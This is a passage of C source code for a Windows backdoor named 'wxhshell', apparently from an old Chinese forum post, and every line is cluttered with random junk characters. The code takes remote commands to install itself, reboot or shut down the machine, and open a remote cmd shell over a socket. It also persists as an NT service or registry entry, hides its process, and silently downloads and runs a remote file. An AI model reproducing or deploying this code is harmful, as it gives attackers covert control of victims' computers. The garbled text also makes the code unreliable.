  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r=4vN=:  
  } 9 .3?$(  
  else {  oHR@*2b  
KGP*G BZr  
    switch(cmd[0]) { LKsK!X  
  mrGfu:r  
  // 帮助 >MLP mER  
  case '?': { D6vhW:t8?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ur| vh5  
    break; 2SRmh!hr  
  } l\"wdS}  
  // 安装 Xwz'h;Ks_  
  case 'i': { /1z3Q_M  
    if(Install()) r=cm(AHF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?Q0O\&uP  
    else j|DjO?._'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,(v=ZeI  
    break; r=Od%  
    } '&<saqA  
  // 卸载 _(J4  
  case 'r': { n?S~(4%  
    if(Uninstall()) +8Q5[lh2]j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Gc\"'^r  
    else DPBWw[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Q!I^]CR  
    break; 3:?QE  
    } z`2Ais@ao  
  // 显示 wxhshell 所在路径 yP*oRV%uX  
  case 'p': { )n{9*{Ch  
    char svExeFile[MAX_PATH]; hnTk)nq5#  
    strcpy(svExeFile,"\n\r"); |576)  
      strcat(svExeFile,ExeFile); ,UATT]>  
        send(wsh,svExeFile,strlen(svExeFile),0); iNG =x   
    break; J}Ji /  
    } R d|M)  
  // 重启 G"|c_qX  
  case 'b': { -40s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9FcH\2J  
    if(Boot(REBOOT)) 9w}_CCj3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X(qs]:  
    else { rvG0aqO `  
    closesocket(wsh); N+CcWs!E  
    ExitThread(0); z"$huE>P6  
    } [n2)6B\/  
    break; = 6.i.(L_S  
    } WJBwo%J  
  // 关机 dCO7"/IHW  
  case 'd': { >7(7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .-?Txkwb  
    if(Boot(SHUTDOWN)) x#jJ 0T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yGE)EBH  
    else { :S=!]la0h  
    closesocket(wsh); %~EOq\&  
    ExitThread(0); }@<Ru  
    } L',7@W  
    break; A(T=  
    } wak`Jte=}m  
  // 获取shell q?=_{oH9  
  case 's': {  E-L>.tD  
    CmdShell(wsh); KF}_|~~T  
    closesocket(wsh); ?, oE_H  
    ExitThread(0); jUCDf-_ m  
    break; evro]&N{  
  } iXD=_^^o .  
  // 退出 VdE$ig@  
  case 'x': { M2piJ'T4u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W&p f%?  
    CloseIt(wsh); \(`,z}Ht _  
    break; +1>\o|RF  
    } 3fq'<5 ^  
  // 离开 EE,C@d!*k7  
  case 'q': { m=qyPY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d'!abnF[d  
    closesocket(wsh); <I.{meDg  
    WSACleanup(); wt1Y&D  
    exit(1); f,:2\b?.  
    break; NUM+tg>KM  
        } , %$Cfu  
  } fk'DJf[M  
  } Q|tzA10E  
6UAw9 'X8  
  // 提示信息 jM;?);Dd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CQI\/oaO  
} ucX!6)Op  
  } ~NZ}@J{00_  
7~2V5 @{<  
  return; 2O " ~k  
} 3Ss)i7  
,Lr}P  
// shell模块句柄 G4QsR7  
int CmdShell(SOCKET sock) mExJ--}  
{ #bCzWg  
STARTUPINFO si; #waK^B)<a  
ZeroMemory(&si,sizeof(si)); f ( ug3(j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0*50uK=5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nAk;a|Q  
PROCESS_INFORMATION ProcessInfo; 0wZAsG"Bg  
char cmdline[]="cmd"; Py~N.@(:1u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WS2@; 8.N  
  return 0; UjcKvF  
} x_OZdI  
)!g@MHHL  
// 自身启动模式 of0 hJR  
int StartFromService(void) +9]CGYj  
{ /A>1TPb09"  
typedef struct s p&g  
{ XE?,)8  
  DWORD ExitStatus; .7r$jmuFs  
  DWORD PebBaseAddress; z.0!FUd  
  DWORD AffinityMask; ydf;g5OZ  
  DWORD BasePriority; 2/RW(U  
  ULONG UniqueProcessId; !Tu4V\^~A  
  ULONG InheritedFromUniqueProcessId; 'OvyQ/T  
}   PROCESS_BASIC_INFORMATION; Jk,}3Cr/  
3TF'[(K=  
PROCNTQSIP NtQueryInformationProcess; KK41I 8Mw  
L ]QBh\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -14~f)%NQ*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mmBZ}V+&=  
L^{wxOf&6E  
  HANDLE             hProcess; {!37w[s~  
  PROCESS_BASIC_INFORMATION pbi; Ctpc]lJ}  
-< }#ImTN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jU_#-<'r  
  if(NULL == hInst ) return 0; L; 'C5#GN  
?v$1 Fc55  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [A46WF>L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HRW }Yl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W24n%Ps  
02mu%|"  
  if (!NtQueryInformationProcess) return 0; B+2Jea,N  
.MI 5?]_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); am# (ms  
  if(!hProcess) return 0; W;ADc2#)  
nCPIpw,]M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  q a}=p  
~)%DiGW&  
  CloseHandle(hProcess); t0+D~F(g  
k{ibD5B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q-4#)EnW  
if(hProcess==NULL) return 0; T8\%+3e.  
# PZBh  
HMODULE hMod; kYU!6t1  
char procName[255]; x qLIs:*  
unsigned long cbNeeded; uoe>T:  
T[]kun  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mBWhC<kKs  
<7yn:  
  CloseHandle(hProcess); sZYTpZgW4L  
Ng+Ge5C9  
if(strstr(procName,"services")) return 1; // 以服务启动 i=j4Wg,{J  
.p /VRlLU  
  return 0; // 注册表启动 +e( (!  
} `]m/za%7  
=*Y=u6?  
// 主模块 ~R\U1XXyUY  
int StartWxhshell(LPSTR lpCmdLine) r:9H>4m  
{ ]-tAgNzl%  
  SOCKET wsl; 5 @61=Au  
BOOL val=TRUE; @ )m9#F  
  int port=0; jS'hs>Ot  
  struct sockaddr_in door; hv 8j$2m  
^9xsbv B0  
  if(wscfg.ws_autoins) Install(); (h>+ivf|  
-[-Ry6G  
port=atoi(lpCmdLine); &$hT27A>k  
HK!Vd_&9,  
if(port<=0) port=wscfg.ws_port; }*R.>jQ+Y  
~7"6Y ]  
  WSADATA data; ~#V1Gunq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BRGTCR  
0q:g Dc6z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >W?7a:#,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9Qhk~^ngg  
  door.sin_family = AF_INET; /S\y-M9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  =[G)  
  door.sin_port = htons(port); Ehf3L |9   
6v9A7g;4.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /dt'iai~l  
closesocket(wsl); e \ rb  
return 1; |q*s)8  
} )uIH onXU  
c0W4<(  
  if(listen(wsl,2) == INVALID_SOCKET) { dI|`"jl#  
closesocket(wsl); B#9T6|2  
return 1; +yYSp8>  
} (y{nD~k  
  Wxhshell(wsl); >m&r,z  
  WSACleanup(); L}5IX)#gH  
ht@s!5\LK  
return 0; 'c|Y*2@  
H-Z1i  
} d( +E0  
XG_Iq ,  
// 以NT服务方式启动 UON W3}-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )./.rtP|4  
{ BdZO$ALXL  
DWORD   status = 0; PM!7ci  
  DWORD   specificError = 0xfffffff; sT"h)I)]*  
=D6H?K-k!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C>*]a(5k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (Jb[_d*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8ncgTCH:  
  serviceStatus.dwWin32ExitCode     = 0; t?R=a-ZI  
  serviceStatus.dwServiceSpecificExitCode = 0; *^5..0du  
  serviceStatus.dwCheckPoint       = 0; %*wOJx  
  serviceStatus.dwWaitHint       = 0; hr] :bR  
+ s snCr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +: oD?h  
  if (hServiceStatusHandle==0) return; ljo^ 2  
2eh j2T  
status = GetLastError(); 3U73_=>=&  
  if (status!=NO_ERROR) 9p5{,9.3*  
{ =#c?g Wb56  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 34P5[j!h  
    serviceStatus.dwCheckPoint       = 0; !^*I?9P  
    serviceStatus.dwWaitHint       = 0; <r{ )*]#l  
    serviceStatus.dwWin32ExitCode     = status; Y8yRQ zu  
    serviceStatus.dwServiceSpecificExitCode = specificError; !.ot&EbE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3e.v'ccK&  
    return; bs_"Nn?  
  } dQ4K^u  
 ^"d!(npw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^v].mV/  
  serviceStatus.dwCheckPoint       = 0; k$7@@?<  
  serviceStatus.dwWaitHint       = 0; <NO?B+ ~]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @|^2 +K/  
} %Pb 5PIk4  
 *R6n+d  
// 处理NT服务事件,比如:启动、停止 (mJqI)m8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VIxt;yE  
{ Sh_=dzM  
switch(fdwControl) ?"no~(EB  
{ *0,?QS-a  
case SERVICE_CONTROL_STOP: =Xc[EUi<;g  
  serviceStatus.dwWin32ExitCode = 0; U-#t&yjh#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6QOdd 6_d  
  serviceStatus.dwCheckPoint   = 0; y'<juaw  
  serviceStatus.dwWaitHint     = 0; 3=r8kh7,  
  { n_n0Q}du  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aQEMCWxZ  
  } J0U9zI4  
  return; +{j? +4(B  
case SERVICE_CONTROL_PAUSE: 43;@m}|7$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Eqg(U0k0  
  break; @:~O  
case SERVICE_CONTROL_CONTINUE: f*g>~!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t?0D*!D  
  break; rwlV\BU  
case SERVICE_CONTROL_INTERROGATE: {t$ vsR  
  break; Odr@9MJ  
}; ul e]eRAG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hize m!  
} t/bDDV"  
n NI V(  
// 标准应用程序主函数 _ID2yJ   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @awaN  
{ cf|<~7  
'wAO Y  
// 获取操作系统版本 =$g8"[4   
OsIsNt=GetOsVer(); 22|f!la8n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~7!J/LHg  
pQxaT$  
  // 从命令行安装 =De%]]>   
  if(strpbrk(lpCmdLine,"iI")) Install(); g]V}azLr  
ZpHT2-baVe  
  // 下载执行文件 dyjzF`H  
if(wscfg.ws_downexe) { 8Us5Oi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z+1#p.F$@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9BGPq)#  
} Jr18faEZw  
.e2u)YqA  
if(!OsIsNt) { ?r QMOJR  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?J+[|*'yK  
HideProc(); ~u&3Ki*x  
StartWxhshell(lpCmdLine); 0*%j6*XDq9  
} 3R?7&oXvH  
else Ho?+?YJ#P  
  if(StartFromService()) WIo^=?%  
  // 以服务方式启动 1{%EQhNd  
  StartServiceCtrlDispatcher(DispatchTable); ,LXuU8sB  
else qeCx.Z  
  // 普通方式启动 ]do0{I%\eq  
  StartWxhshell(lpCmdLine); ";j/k9DE  
ehXj.z  
return 0; M"K$81  
}
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只看该作者 1 发表于: 2006-10-10
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